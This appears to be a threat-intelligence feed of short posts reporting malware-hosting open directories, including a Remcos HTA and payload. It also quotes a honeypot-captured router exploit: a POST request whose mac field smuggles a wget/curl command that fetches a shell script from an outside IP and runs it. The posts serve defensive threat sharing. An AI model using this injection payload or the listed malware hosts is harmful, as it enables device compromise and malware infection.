#opendir

that's some cool iranian open-dir http://178.239.149.60[/arya/ #shodansafari #opendir #threatintel

#remcos hta and payload in an #opendir at: http://157.254.223\.141/25/

Fresh from a honeypot: POST/goform/set_LimitClient_cfg 8080 post_input time1=00:00-00:00&time2=00:00-00:00&mac=;wget 41.216.189[.]157/nz.sh; curl -O 41.216.189[.]157/nz.sh; chmod 777 nz.sh; sh nz.sh; rm -rf nz.sh; rm -rf nz.sh*" http://41.216.189.157/ # malware #opendir